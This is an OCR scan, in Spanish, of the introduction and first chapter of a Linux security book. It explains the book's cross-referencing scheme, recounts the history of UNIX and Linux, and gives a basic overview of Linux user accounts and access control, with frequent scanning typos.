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Introduccion

La mayoria de los libros sobre seguridad suelen vender un namero moderado
de ejemplares, por lo que el éxito de Maximum Security II fue una agradable sor-
presa. Pero aun fueron mas sorprendentes las respuestas que recibimos de los lec-
tores. No sélo les gustd el material, sino que estaban ansiosos por ver mas, lo que
nos hizo preguntarnos qué tipo de libro deberiamos escribir a continuacion.

Hablamos con los editores, quienes nos reiteraron un comentario que habian
realizado muchos lectores: Maximum Security II era bueno, pero ¢por qué no
escribiamos algun libro que se centrara en un sistema operativo especifico? En prin-
cipio nos parecio una buena idea, pero surgié una nueva pregunta, ¢qué sistema
operativo? Finalmente, elegimos Linux y queremos explicar los motivos que nos
condujeron a dicha eleccidn.

Durante muchos afos, Linux ha sido un enigma, una opcién iconoclasta para
aquellas personas que buscaban alternativas a Microsoft. En aquella primera épo-
ca, la vida de Linux era solitaria. Nos vienen a la memoria conversaciones con ami-
gos a los que no convencian sus sistemas operativos. No tenian el cédigo fuente y
les disgustaba pagar precios demasiado altos por las herramientas de desarrollo,
etc. Siempre respondiamos lo mismo: utiliza Linux. Inevitablemente, eran reticen-
tes y mencionaban una docena de razones distintas por las que no podian utilizarlo
(la primera de las cuales era que no contaba con apoyo técnico).

Actualmente, esas mismas personas nos llaman para compartir sus tltimas
experiencias con Linux. Algunos han aprendido Perl, mientras que otros se estan
consolidando firmemente en la programacién en Expect. Entre tanto, Linux hizo
algo mas que crecer, se hizo adulto. Lo que una vez fue un sistema expresamente
para hackers, ahora se esta instalando a diario en entornos empresariales.

Estos desarrollos se deben, en gran medida, al seguimiento de Linux. Con el
tiempo, se ha demostrado que Linux es estable y perfectamente valido para las
empresas. De hecho, hay muy pocas barreras que impidan que se instale en servi-
dores con misiones criticas de todo tipo.

Sin embargo, aun existe una barrera que, con frecuencia, aparece en las confe-
rencias técnicas: su seguridad. Nosotros luchamos con esta bestia cada vez que los
clientes realizan preguntas y comentarios del tipo: "ses Linux realmente seguro?",
":no es mas seguro NT?", "nuestro personal al menos conoce NT". Quiza, la queja
mas habitual es que, sencillamente, no hay en el mercado suficientes libros que tra-
ten de la seguridad en Linux.

Por tanto, nuestras razones para escribir este libro eran demostrar que Linux es
seguro y ofrecer un texto atil acerca de la seguridad en Linux. Esperamos que cum-
pla estas metas.
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Organizacion del libro

Tras haber escrito varios libros, hemos aprendido mucho sobre su estructura y
organizacion. Armados con este conocimiento, hemos examinado nuestros trabajos
anteriores y hemos encontrado importantes defectos que pueden haber impedido
que los lectores encuentren rapidamente la informacion que necesitan. Para evitar
que vuelva a suceder, hemos escrito este libro con un nuevo enfoque.

En particular, Linux Maxima Seguridad tiene unas referencias cruzadas
excepcionales, lo que hace que sea un recurso mas coherente. Dichas referencias
cruzadas conllevan inevitablemente un mejor indice, factor importante que se sue-
le ignorar en libros que, aparte de este detalle, son magnificos.

De hecho, la faceta mas valiosa de este libro pueden ser sus referencias cruza-
das. Vamos a explicarlas brevemente a continuacion.

Referencias cruzadas de este libro

Los autores de libros como éste suelen gozar de determinadas ventajas. Por
ejemplo, imagine que el titulo de este libro fuera Maxima seguridad en NT. Podri-
amos escribirlo rapidamente con la seguridad de que los usuarios de Windows NT
tienen afios de experiencia (si no con NT, con Windows 3, 3.1,3.11,95y 98). De
hecho, los lectores comprenderian y utilizarian rapidamente todas las sugerencias
y COnsejos.

Pero este libro es algo especial. Aunque en la actualidad hay alrededor de diez
millones de usuarios de Linux, la inmensa mayoria de ellos llevan utilizandolo
menos de un afio. De hecho, muchos estan empezando a conocerlo ahora. Ademas,
aunque en Internet puede encontrarse una excelente documentacion acerca dela
seguridad en Linux, hay muy pocos libros impresos al respecto: De nuevo, este
hecho marca una diferencia con respecto a Windows NT.

Y atn hay algo peor, un gran nimero de aplicaciones de seguridad de Linux uti-
lizan la linea de comandos y ocupan varios archivos. En otras palabras, con fre-
cuencia hay que conocer varios archivos de configuracién y comandos para llevar a
cabo una sola tarea. Todo ello hace que Linux se encuadre en un grupo distinto al
de los sistemas operativos que utilizan una interfaz grafica de usuario.

Para reflejar dicha diferencia, hemos creado una aplicacion imaginaria de segu-
ridad para Windows llamada Herramienta de firewall de ACME, que se muestra en
la Figura L.1.

Observe que esta aplicacién engloba todas las funciones de seguridad en una
interfaz ordenada, desde la que se puede:

o Administrar hosts.

¢ Administrar registros.

e Administrar filtros y cifrado de datos.
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Aunque es muy practica, es también muy estatica (no se pueden sobrepasar los
limites impuestos por el programador) y depende de un sistema de ventanas. Con
raras excepciones, las herramientas de seguridad de Linux no funcionan asi.

Administracién de hosts integrada Registro

Control
de puertos

Administracion de cifrado integrada

FIGURA L1
Herramienta de firewall de ACME

En su lugar, los desarrolladores de Linux a menudo desglosan las funciones
esenciales en archivos o comandos independientes, o ambas cosas. Un buen ejem-
plo de ello es el sistema tcpd, que permite aceptar o rechazar conexiones de deter-
minados kosts o jerarquias de hosts. Para emplear habilmente tcpd, hay que conocer
varios comandos y archivos.

* /etc/hosts.allow: tabla de reglas de acceso a hosts.

e Jetc/hosts.deny: tabla de reglas de denegacién de acceso a hosts.

® hosts_access: sistema y lenguaje para establecer reglas de acceso.

® hosts_options: extension de host_access.

e tcpd: demonio de TCP.

* tcpdchk: herramienta que verifica la configuracion centrada en tcpd.

* icpdmatch: herramienta que muestra las reglas de forma interactiva.

Toda esta organizacion puede ser frustrante y confusa para aquellos que utilicen
Linux por primera vez. Incluso pueden llegar a desanimarse por la creencia de que
nunca van a ser capaces de configurar correctamente todos estos comandos y

archivos. Liogicamente, todo ello contribuye a crear la reputacion de que Linux es
un sistema operativo dificil de configurar.

Finalmente, Linux se ajusta al axioma que mds frecuentemente se atribuye a los
programadores de Perl: Hay varias formas de hacerlo. Linux suele tener varios
comandos que realizan la misma (o practicamente la misma) funcién.

El principal objetivo al escribir Linux Maxima Seguridad era impartir un
conocimiento global de la seguridad en Linux, sobre todo para los usuarios nuevos.
Para ello, necesitdbamos una forma de identificar claramente y crear referencias
cruzadas en:
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® Grupos de comandos y archivos que deben utilizarse conjuntamente.
* Grupos de comandos que realizan tareas similares.

Nos decidimos por algo que llamamos grupos, que son mapas que sefialan los
comandos y archivos necesarios, y las herramientas relacionadas o similares. El
resultado de todo esto es un nivel de referencias cruzadas que utilizan el contexto
que pocas veces se utiliza en los libros técnicos. Veamos un ejemplo:

En el Capitulo 4, "Administracion basica del sistema Linux", se explican las tare-
as administrativas basicas del sistema, como anadir o suprimir usuarios. Una de las
herramientas que se puede utilizar para ello es usercfg. El grupo de usercfg ofrece
un resumen basico de la herramienta:

Aplicacion: usercfg.
Necesita: usercfg + python.

Archivos de configuracién: /usr/lib/rhs/control-panel/usercfg.init,/usr/lib/
rhs/usercfg, /usr/lib/rhs/usercfg/usercfg.py, usr/lib/rhs/usercfg/usercfg.pyc.

Historial de seguridad: Un antiguo agujero en la seguridad (relacionado con
la version de 1996 de Python) permitia a las personas que lo atacaban obtener acce-
so a /etc/shadow. El exploit se encuentra en .

Notas: usercfg es una herramienta independiente para la administraciéon de
cuentas, pero para utilizarla es necesario tener el lenguaje y las bibliotecas de Pyt-
hon. (Si ha realizado una instalacién completa, no deberia tener ningtin problema.
Sin embargo, si ha elegido selectivamente las herramientas de desarrollo, ha
excluido usercfg y ha excluido Python; instalelas ahora.) usercfg se encuentra en
/usr/bin. (Tenga en cuenta que la interfaz grafica de usercfg puede variar. En algu-
nos casos, se basa en X. En otros, se ejecuta desde LISA con cuadros de didlogo a
través de una shell o desde un indicativo de comandos.)

Los nuevos usuarios se beneficiaran de este enfoque, ya que les permite ver
rapidamente las relaciones entre los distintos comandos o archivos, lo que es espe-
cialmente importante cuando la herramienta principal estd asociada con muchos
archivos de configuracién independientes, como es el caso de tpcd.

Pero eso no es todo. Este tipo de referencias cruzadas bidireccionales que tie-
nen en cuenta el contexto (incluso sin mapas de grupos) aparecen por todo el libro.
Siempre que podemos, al explicar una herramienta creamos referencias cruzadas
con herramientas similares o asociadas que se explican en otra parte. Estas pistas
asociadas no conducen simplemente a los capitulos, secciones y paginas pertinen-
tes, sino también a informacién on-line complementaria.

Este es un ejemplo del Apéndice A, "Guia de comandos de seguridad de Linux".

amadmin

Descripcién: Interfaz administrativa para controlar las copias de seguridad de
Amanda.
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Relacién con la seguridad: anadmin se utiliza para configurar el sistema de
copias de seguridad de Amanda. Para obtener mas informacion, véase el Capitulo 21,
"Recuperacion de desastres", amanda, amcheck y amcleanup en este anexo, la pagi-
na de admin del manual o http://www.cs.umd.edu/projects/amanda/amanda.html.

Este enfoque ha conducido a un libro dificil de obtener que se puede utilizar
para encontrar al instante la informacion deseada con gran detalle y profundidad.

Uso de este libro

Para seguir los ejemplos de este libro, necesitara:

¢ Linux (Craftworks, Debian, Delix DLD, Eagle Group, Eurielec, Kheops,
Linux Universe, MNIS, OpenLinux, Red Hat, S.U.S.E, SlackWare, Stampede
Linux, TransAmeritech, TurboLinux, Yggdrasil, etc.).

e Una instalacién completa, incluyendo los clientes y servidores TCP/IP
estandar, C y Perl.

Con frecuencia, los ejemplos dependen de Linux o de una versién de la aplicacién.
Por ejemplo, algunas herramientas exigen versiones recientes de Perl, otras exigen
gtk, otras exigen compatibilidad con .out y muchas de ellas requieren compatibilidad
con ELF (Executable and Linking Format, Formato de ejecutables y de enlaces). Lo
ideal seria que dispusiera de una distribucién reciente de Linux que cumpla estos
requisitos (los ejemplos se han generado con Caldera Open Linux 1.3 y Red Hat
Linux 5.1).

No es imprescindible tener conexién con Internet, ya que muchos ejemplos pue-
den replicarse con un servidor web local en una maquina con una sola red. Sin
embargo, es recomendable utilizar, al menos, una intranet. Determinados ejemplos
requieren varias maquinas, como por ejemplo las reglas de pruebas de firewall.

Salvo algunas excepciones, los ejemplos se centran en la obtencién de seguri-
dad sin utilizar las herramientas patentadas que a veces se incluyen en las distribu-
ciones comerciales de Linux. Hemos adoptado este enfoque para asegurarnos de
que el material fuera apropiado para todas las versiones de Linux. Ademas, este
enfoque garantizara que los usuarios nuevos sabran, no sélo implantar las solucio-
nes de seguridad, sino también el motivo por el que funcionan.

Finalmente, este libro se ha escrito con el convencimiento de que muchos lec-
tores tienen los conocimientos suficientes como para instalar y utilizar Linux, pero
tienen muy pocos o ningin conocimiento de seguridad. Esto puede poner a prueba
la paciencia de los usuarios con mas conocimientos, pero nos tememos que era un
mal necesario. '
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Cosas sueltas

Finalmente, unas pocas notas:

 Enlaces y paginas principales. En libros anteriores, hemos realizado enla-
ces directos con archivos binarios, a menudo ignorando las paginas princi-
pales del proveedor o del creador. Sin embargo, en este libro, hemos cam-
biado esta practica. Si un proveedor requiere que el usuario se registre antes
de descargar su herramienta, incluimos la direccién URL para registrarse.
Ademas, cuando se indica un enlace a la pagina de cualquier creador de soft-
ware, solo aparece el enlace con la pagina, no al archivo especifico. Creemos
que esto es justo, ya que a menudo estas personas tienen mucho que deciry,
a veces, tienen otras herramientas o informes valiosos en su sitio web. Ade-
mas, habitualmente cambian los nombres de los archivos, sobre todo al dis-
tribuir actualizaciones. Por ejemplo, la ubicacién http://www.misitio.org/mi-
herramienta.tgz puede convertirse en http://www.misitio.org/miherra-
mienta.version2.tgz. Al adoptar este nuevo enfoque, esperamos eliminar una
gran parte de los errores de recurso inexistente.

En la mayoria de los casos, ofrecemos una direccion URL con la profundidad
adecuada, lo que ahorra tiempo. Por ejemplo, cuando senalamos una herra-
mienta, no sugerimos simplemente que vaya a la pagina principal del prove-
edor, sino que incluimos un enlace a la pagina desde la que se puede descar-
gar. Con ello se elimina la necesidad de profundizar por su cuenta.

NOTA

La excepcion a esta regla se produce cuando el sitio crea direcciones URL sobre la
marcha a través de CGl. Dado que estas direcciones URL son dindmicas (y a menu-
do dependen de la direccién, provincia, etc., del cliente web) no son fiables. En
dichos casos, si es posible, hacemos referencia a direcciones URL estaticas.

e Acerca de los productos mencionados en Linux Méaxima Seguridad.
En este libro mencionamos un gran nimero de productos (algunos comer-
ciales y otros no), pero no tenemos ningun interés comercial en ninguno de
ellos. Si mencionamos una herramienta, lo hacemos simplemente porque es
atil o porque se ha generado un ejemplo con ella. Una vez dicho esto, nos
gustaria dar las gracias a los desarrolladores que proporcionan servicio téc-
nico a sus productos. Su ayuda ha sido muy valiosa.

Resumen

Esperamos que disfrute de Linux Méaxima Seguridad y que lo encuentre util.
Aunque el libro no es exhaustivo, explica las tareas esenciales para la seguridad en
Linux. Ademas, el CD-ROM que lo acompafia y muchas referencias on-line propor-
cionan herramientas indispensables y fuentes de informacion adicionales. La com-
binacién de estos elementos deben ayudarle a asegurar su sistema Linux.
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Presentacion de Linux

En este capitulo

cQué es Linux?

¢De donde proviene Linux?

¢Se puede utilizar Linux como un sistema independiente?
¢Es Linux apropiado como servidor de Internet o intranets?
(Qué funciones de seguridad ofrece Linux?
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En el sector de los libros informéticos, hay una regla tacita que nunca se vulne-
ra: los libros como éste deben comenzar con un recorrido por el sistema operativo
correspondiente. Si no desea leer un capitulo introductorio sobre Linux, pase al
Capitulo 2, "Seguridad fisica".

En este capitulo encontrara la respuesta a las siguientes preguntas:
* Qué es Linux?

¢ :De ddnde proviene Linux?

* ¢Se puede utilizar Linux como un sistema independiente?

* (Es Linux apropiado como servidor de Internet o intranets?

* ;Qué funciones de seguridad ofrece Linux?

;Qué es Linux?

La respuesta a esta pregunta depende de la persona a la que se realice, pero la
respuesta mas corta es:

Linux es un sistema operativo gratuito de 32 6 64 bits para redes, similar a
UNIX, con cédigo abierto, optimizado para Internet (utilizado por los piratas
con mucha frecuencia) que puede funcionar en distintos tipos de hardware,
incluyendo los procesadores Intel (X86) o RISC.

Vamos a desglosar esta aseveracion paso a paso.

Linux es gratuito

Las caracteristicas mas conocidas de Linux son que es gratis y es libre.

Por una parte, Linux es gratuito porque puede obtenerse sin coste alguno. Por
ejemplo, no es necesario adquirir un libro de Linux que contenga CD-ROM para
obtenerlo (aunque hay mucha gente que lo hace). Si se dispone de un acceso tele-
fonico rapido, es posible descargarlo de Internet e instalarlo.

Si se compara con otros sistemas operativos, se aprecia claramente que en
éstos, la mayoria de los distribuidores exigen que se abone cada instalacién, lo que
significa que cada vez que se instala un sistema operativo, es necesario pagar un
precio adicional. Por consiguiente, si se cuenta con diez estaciones de trabajo, hay
que pagar diez licencias. Por contra, Linux puede instalarse en varias estaciones de
trabajo (cientos de ellas si se desea) sin pagar una sola peseta.

Algunas aplicaciones para Linux de terceros no son gratuitas y sus creadores impo-
nen restricciones de licencia. Consulte la documentacidn de Linux para asegurarse
de que no copia y distribuye involuntariamente herramientas comerciales.
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Linux es libre en el sentido de que ofrece una sobrecogedora libertad técnica.
Cuando se descarga Linux, se obtiene algo mas que el simple sistema operativo. Se
obtiene el cédigo fuente, por lo que si no le gusta cémo funciona, tiene la posibili-
dad de modificarlo. (Y no sélo a pequefia escala. Es posible modificar todo el siste-
ma operativo para adecuarlo a sus necesidades.)

Ademas, Linux cuenta con muchos lenguajes de programacion, compiladores y
herramientas de desarrollo asociadas. Estos son algunos de ellos:

e ADA

¢ BASIC.

e C.

o C++.

e Expect, un lenguaje de scripts para automatizar sesiones de red.

e FORTRAN.

¢ GTK, un conjunto de herramientas para crear aplicaciones GUI en Linux.
e PASCAL.

¢ Python, un lenguaje de scripts orientado a objetos.

¢ Lenguajes de shell (csh, bash).

e TCL/Tk, un lenguaje de scripts y un conjunto de herramientas con interfaz
grafica de usuario, respectivamente.

e Perl

Con la licencia general publica de GNU, puede utilizar estas herramientas para
desarrollar y vender aplicaciones de Linux sin pagar derechos de comercializacion.
(Sin embargo, si realiza algtin cambio en las bibliotecas GPL, también debe reali-
zarlos de forma gratuita en la GPL de turno. Para obtener mas informacién sobre la
GPL de GNU, véase el CD-ROM que acompaiia al libro.)

Sin embargo, la mayor libertad que ofrece Linux sigue siendo su codigo abier-
to, que proporciona importantes ventajas en lo que a seguridad se refiere. Cuando
se utilizan sistemas operativos comerciales, el destino del usuario esta en manos
del creador. Si el cédigo tiene defectos, nunca se sabra (v si se averigua, es posible
que ya sea demasiado tarde, porque el sistema ya se encuentre en serio peligro).

En el caso de Linux, cualquiera puede examinar el codigo para ver la implemen-
tacion del sistema de seguridad, con lo que aflora un tema vehementemente deba-
tido: las personas que critican Linux insisten en que para beneficiarse de todas las
ventajas de la libertad técnica de Linux, es necesario tener unos conocimientos téc-
nicos mucho mayores que los que se necesitan en cualquier sistema operativo
orientado al consumidor, lo que es totalmente cierto.

De hecho, existen algunas herramientas de seguridad de Linux que son real-
mente conjuntos de herramientas con un gran nimero de médulos de seguridad
independientes. Si dichos conjuntos de herramientas se utilizan correctamente de
forma combinada, proporcionan una gran flexibilidad para idear e implantar solu-



| 7

ciones de seguridad personalizadas. A cambio de esta eficacia, hay que olvidarse de
la sencillez de la computacion de sefalar y hacer clic. Por consiguiente, hay que
reconocer que para establecer un host Linux seguro, es necesario invertir mucho
tiempo y esfuerzo. La parte positiva es que esta idea puede refutarse. Si alguien tie-
ne la valentia suficiente para elegir Linux (y sobrevive a la instalacién y al uso gene-
ral), demostrara un gran coraje y la eleccion merecera la pena. Armado con este
libro y las referencias on-line, seguro que cualquiera puede lograrlo.

Linux se parece mucho a UNIX

A menudo se dice que Linux es como UNIX, un cion de UNIX o un sistema ope-
rativo basado en UNIX. Estas descripciones son precisas, pero no muy esclarece-
doras si nunca se ha utilizado UNIX. Vamos a solucionar este pequeiio problema.

Las raices de UNIX se remontan a hace mucho tiempo. En 1964, MIT, General
Electrics y Bell Labs (que era una division de AT&T) establecieron una colabora-
cién para crear un sistema operativo llamado Multiplexed Information and Compu-
ting System (Sistema Multiplexado de Informacion e Informdtica) o MULTICS. Este
proyecto fue un desastre, ya que era enorme, muy rigido y tenia muchos errores.

A pesar de su rapido fracaso, del proyecto MULTICS surgieron ideas interesan-
tes. Ken Thompson, programador de Bell Labs, estaba convencido de que podia
hacerlo mejor. En 1969, con la ayuda de los programadores Dennis Ritchie y Joseph
Osanna, Thompson lo mejoro.

Algunos hechos importantes de ese momento fueron los siguientes: Estados
Unidos estaba inmersa en la guerra de Vietnam, la cancién mas escuchada era "I
Heard It Through the Grapevine" de Marvin Gaye y para estar a la dltima habia que
conducir un Dodge Charger. Fue con este teldon de fondo con el que Thompson rea-
liz6 su proyecto.

El primer UNIX de Thompson era poco estable, pero este hecho cambio rapida-
mente, ya que volvié a escribirlo en el lenguaje de programacion C un afio después.
El resultado fue un sistema operativo mas rapido y estable que podia transportarse
y mantenerse con facilidad.

Lo que ocurrié a continuacién fue vital para el éxito del proyecto. A principios de
los 70, UNIX se distribuyé por las universidades. Alli, tanto estudiantes como pro-
fesores se dieron cuenta de que UNIX era muy practico, versatil y relativamente
facil de utilizar, por lo que se incluy6 en el curriculo de informatica de muchas uni-
versidades. Como resultado de ello, toda una generacion de alumnos de informati-
ca adquirieron conocimientos de UNIX. Cuando posteriormente llevaron dichos
conocimientos al mercado, hicieron que fuera el sistema dominante.

No obstante, en ultimo término, los hechos que hicieron de UNIX un sistema
operativo para red tremendamente popular ocurrieron en otro lugar. Aproximada-
mente por esas fechas, el gobierno estadounidense estaba trabajando en una inte-
rred para las comunicaciones de guerra. Esta red se disefio para que fuera inmune
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a un ataque nuclear soviético. Aunque el gobierno tenia un medio de transmisién
apropiado, la linea telefénica, no contaba con ningtin sistema operativo adecuado y
ahi fue donde entré UNIX.

Los ingenieros de la interred eligieron UNIX por varios motivos. Por entonces,
alrededor de 1974, UNIX ya gozaba de unas capacidades para red muy eficaces. Por
ejemplo, gracias a Ray Tomlinson de Bolt, Beranek y Newman UNIX tuvo correo
electrénico. A éste le seguirian otros protocolos de red y, alrededor de 1978, UNIX
tuvo una gran cantidad de software de red. Al final, el gobierno estadounidense con-
siguid su interred, a la que ahora llamamos Internet, y UNIX se convirtié en un
fenémeno de masas.

Por tanto, UNIX es el sistema operativo que se utilizo para crear Internet. Linux
comparte el mismo linaje y muchas de las caracteristicas de UNIX. Por ejemplo:

® Una gran parte de Linux est4 también escrita en C.

¢ Linux admite la multitarea, es decir, la capacidad para gestionar varios pro-
yectos simultaneamente. Con Linux es posible compilar un programa, des-
cargar el correo electrénico y jugar con un solitario al mismo tiempo.

¢ Linux admite sesiones multiusuario, lo que implica que varios usuarios pue-
den acceder a Linux simultaneamente (y durante estas sesiones, también
pueden realizar varias tareas).

¢ Linux ofrece un sistema jerarquico de archivos. Su directorio superior con-
tiene subdirectorios que se subdividen en otros subdirectorios. Juntos, estos
subdirectorios forman una estructura de arbol (si alguna vez ha utilizado
DOS, conocera este concepto).

¢ Lainterfaz grafica de usuario de Linux es X Window System de MIT o X.

¢ Linux cuenta con un gran nimero de funciones de red que pueden utilizar la
mayoria de los protocolos y servicios de red.

Finalmente, un gran niamero de aplicaciones de UNIX se han pasado a Linux.
Por consiguiente, la forma de utilizarlo y el aspecto de Linux es muy similar al de
UNIX.

A pesar de su similitud con UNIX en estos aspectos, su semejanza no conduce a
la confusion de ambos sistemas operativos o, al menos, no deberian confundirse.
Mas alla de estas similitudes, UNIX y Linux van por caminos distintos.

Por ejemplo, UNIX se ha convertido en un sistema operativo comercial que,
durante muchos afios, se ha ejecutado en costoso hardware patentado. Por su par-
te, Linux puede ejecutarse en casi cualquier hardware, entre el que se incluye:

¢ Procesadores AMD y Cyrix.

¢ Procesadores Alpha de Digital.

¢ Procesadores 80386, 80486, 80586 y Pentium de Intel.

¢ Procesadores PowerPC de Macintosh.

¢ Procesadores Sparc.
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Ademas, las licencias de UNIX pueden ser muy restrictivas. A menudo, los desa-
rrolladores deben pagar un alto precio por las bibliotecas de programacion estan-
dar de la industria (casi 17.000 délares por un ensamblador Motif completo). Como
ya se ha explicado, Linux no impone tales restricciones.

Para finalizar, hay una diferencia principal entre UNIX y Linux. Los proveedores
de UNIX ofrecen soporte técnico, pero, con raras excepciones, los de Linux no o
hacen (aunque este hecho estd cambiando rapidamente). Linux lo desarrollaron
programadores freelance e independientes y, en gran medida, sigue desarrollando-
se asi, lo que nos lleva a la siguiente cuestién: ¢{De donde proviene Linux?

;De donde proviene Linux?

Para examinar los origenes de Linux, hay que retroceder hasta 1991, a Suomen
Tasavalta en la Reptiblica de Finlandia. Alli, un estudiante llamado Linus Torvalds
asistia a la universidad, donde estudiaba UNIX y el lenguaje de programacion C.

Torvalds habia estado trabajando con un pequefio sistema operativo parecido a
UNIX llamado Minix, que a veces se utiliza en entornos académicos con fines for-
mativos y de experimentacion. Torvalds descubrié que Minix tenia muchos defec-
tos, pero estaba seguro de que podia mejorarlo, por lo que, a la edad de 23 afios,
empez6 a introducir su propio sistema operativo similar a UNIX en maquinas con
procesador X86.

En octubre de 1991, tras rigurosas pruebas, Torvalds dejé un mensaje en Inter-
net en el que anunciaba que su nuevo sistema era estable. Se ofrecio a dejar el codi-
go fuente e invit6 a otros desarrolladores a que le ayudaran. A partir de ese momen-
to, Linux estaba vivo y coleando.

Desde entonces, Linux ha crecido hasta convertirse en un sistema operativo con
un gran namero de funciones que se utiliza con mucha frecuencia en entornos
empresariales. Un proyecto que comenzé como una actividad complementaria de
Linus Torvalds ha cambiado el rumbo de la informatica.

Linux como sistema independiente

Se ha puesto un gran énfasis en las capacidades de Linux para las conexiones en
red, lo que ha hecho que los nedfitos se pregunten: ¢se puede utilizar Linux como
sistema independiente? La respuesta es rotundamente afirmativa. Linux es un mag-
nifico sistema independiente apropiado para:

Llevar una contabilidad, bases de datos y registros generales.
Matematicas avanzadas y otras ciencias.

Desarrollo.

Medios de comunicacion de alto rendimiento.
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¢ Investigacion.

¢ Procesamiento de textos.

Sin embargo, es necesario tener cautela: Linux difiere de otros sistemas opera-
tivos mas conocidos (como Windows 95, 98 y NT). Si se utiliza como sistema inde-

pendiente y se realizan conexiones on-line, es necesario implantar medidas de segu-
ridad en la red.

Aunque Linux es muy apropiado para el uso personal (incluso en entornos que
no estén en red), en el fondo no deja de ser un sistema operativo para red. En las
instalaciones predeterminadas de Linux se ejecutan muchos servicios de Internet
y, a menos que se adopten las precauciones apropiadas, las personas que deseen
atacarle pueden dirigirse a estos servicios de forma remota cuando se encuentre
on-line.

Para obtener mas informacion sobre la desactivacion de los servicios de red que
no sean esenciales (una excelente idea en los equipos independientes), véase el
Capitulo 3, "Instalacion".

Linux como servidor de Internet
o de intranets

Linux es una excelente plataforma servidora de una intranet o de Internet, ya
que ofrece una 6ptima potencia a las redes y proporciona clientes y servidores para
todos los protocolos esenciales, entre los que se incluyen:

o FTP (File Transfer Protocol, Protocolo de Transferencia de Archivos).
¢ Protocolo Gopher.

o HTTP (Hypertext Transfer Protocol, Protocolo de Transferencia de Hiper-
texto).

o [P (Internet Protocol, Protocolo de Internet).

o NNTP (Network News Transfer Protocol, Protocolo de Transferencia de Noti-
cias en Red).

¢ POP (Post Office Protocol, Protocolo de Oficina de Correos).
o PPP (Point-to-Point Protocol, Protocolo Punto a Punto).
o SLIP (Serial Line Internet Protocol, Protocolo de Internet por Linea Serie).

o SMTP (Simple Mail Transfer Protocol, Protocolo Simple de Transferencia de
Correo).

¢ Protocolo Telnet.
o TCP (Transmission Control Protocol, Protocolo de Control de Transmisién).

Linux también ofrece muchas herramientas de desarrollo en la Web indispen-
sables, entre las que se incluyen:
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e Expect, un lenguaje de scripts para automatizar sesiones de red interactivas.
Con Expect se pueden realizar tareas de administracién no solamente en un
host, sino en todos los servidores Linux de la red. Por ejemplo, imagine que
deseara recopilar de forma arbitraria estadisticas de todas las maquinas.
Podria crear un script de Expect que realice conexiones telnet con un servi-
dor, recoja las estadisticas, se desconecte y se conecte con otro servidor (y
otro, y asi sucesivamente).

e Perl, un lenguaje de scripts de proposito general que suele utilizarse para el
desarrollo en CGI. Con Perl, se pueden crear motores de bisqueda on-line,
almacenes web y programas de seguimiento de estadisticas. Ademas, Perl es
un lenguaje de administracion de sistemas, atil para automatizar muchas de
las tareas de seguridad repetitivas.

e Python, un lenguaje de scripts transportable, interpretado y orientado a obje-
tos que comparte muchas caracteristicas similares con Perl, Tcl y Java. Es
apropiado para tareas muy dispares, incluyendo la programacion en venta-
nas, y esta adquiriendo rapidamente gran popularidad a causa de su alcance
y funcionalidad.

e Java de Sun Microsystems, un lenguaje de programacion orientado a objetos
que incluye un cédigo de bytes en el que sélo se escribe una vez y se ejecuta
en cualquier lugar. Aunque Java suele utilizarse para agregar medios inte-
ractivos a los sitios web, también admite potentes funciones para redes,
bases de datos y criptografia. Dichas funciones pueden explotarse para trans-
formar paginas web estéticas en contenedores para aplicaciones distribuidas
de clase empresarial.

Linux es con toda probabilidad el sistema operativo mas optimizado para redes
existente en la actualidad. Incluso llega a admitir protocolos de red de otros siste-
mas operativos, incluyendo Microsoft Windows y MacOS. De este modo, los servi-
dores Linux se integraran perfectamente en cualquier entorno heterogéneo.

Vision general de la seguridad en Linux

En este libro se examina con gran detalle la seguridad en Linux. De momento,
vamos a probar seis componentes de la arquitectura de seguridad de Linux:

¢ Cuentas de usuario.

¢ Control de acceso discrecional.
¢ Control de acceso a la red.

¢ C(Cifrado.

e Conexion.

e Deteccion de intrusos.
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Cuentas de usuario

En Linux, toda la potencia administrativa se confiere a una sola cuenta llamada
root, que es el equivalente al Administrador de Windows NT o al Supervisor de Net-
Ware. Con esta cuenta se controla todo, incluyendo:

e Cuentas de usuario.
® Archivosy directorios.
¢ Recursos de red.

La cuenta root permite realizar cambios masivos en todos los recursos o cam-
bios especificos solamente en unos pocos. Por ejemplo, cada cuenta es una entidad
independiente con un nombre de usuario, una contrasefia y unos derechos de acce-
so independientes, lo que permite otorgar o denegar accesos a cualquier usuario,
combinacion de usuarios o a todos los usuarios. Véase la Figura 1.1.

En dicha figura se puede apreciar que el Usuario A tiene una autorizacion supe-
rior a la que le corresponde debido a que ha roto (hecho crack) las contrasefas del
sistema, lo que no se debe hacer. Mientras se investiga el problema, es posible con-
gelar la cuenta del usuario sin que ello afecte a los Usuarios B y C. Linux mantiene
aislados a los usuarios de esta forma, en parte por motivos de seguridad y en parte
para imponer orden en un entorno algo caético.

iSabia que no tenia
que haber roto las
contrasefas!

Cuenta
desactivada

FIGURA 1.1
La cuenta root controla todas las cuentas de usuario y puede bloquear una o varias de ellas
en cualquier momento.
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Es posible que le resulte til imaginar el sistema Linux como una comunidad
con dos clases: ciudadanos (usuarios) y gobierno (usted). A medida que crece la
comunidad, va aumentando su complejidad. Los usuarios generan sus propios
archivos, instalan sus propios programas, etc. Para mantener el orden, Linux man-
tiene aislados los directorios de los usuarios. Cada usuario recibe un directorio
principal y un espacio en el disco duro. Esta ubicacién es independiente de las éare-
as del sistema y de las que ocupan los restantes usuarios. Véase la Figura 1.2.

Con ello, se evita que la actividad normal de los usuarios afecte al sistema de
archivos. Ademds, proporciona a los usuarios una cierta privacidad. Como se expli-
cara mas adelante, cada uno de los usuarios posee sus propios archivos y, a menos
que especifique lo contrario, los restantes usuarios no pueden acceder a ellos.

Como root, usted controla los usuarios que tienen acceso y el lugar en que alma-
cenan sus archivos. Esto es solo el principio. También puede controlar a qué recur-
sos pueden acceder los usuarios y cémo se manifiesta dicho acceso. Vamos a ver
como se realiza todo esto.

Usuario B

Usuario
@ B /Archiv
del
0~0 \sistema

0”9 .
Usuario suario,
A C

Usuario A o () Usuario C

©

Unidad de disco duro

o)

FIGURA 1.2
Los directorios de los usuarios se mantienen separados de las dreas del sistema y entre si.

Control de acceso discrecional (DAC)

Un tema central de Linux es el Control de acceso discrecional (DAC), que per-
mite controlar el grado hasta el que pueden acceder a los archivos y directorios los
distintos usuario. Véase la Figura 1.3.
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Como muestra la figura, es posible especificar con total exactitud la forma en
que los Usuarios A, By C acceden a los mismos archivos. El Usuario A puede leer,
escribir y ejecutar los tres archivos. Por contra, el Usuario B s6lo puede leerlos y
escribir en ellos, y, finalmente, el Usuario C no puede siquiera acceder a ellos.
Dichas limitaciones se implementan a través de los grupos.

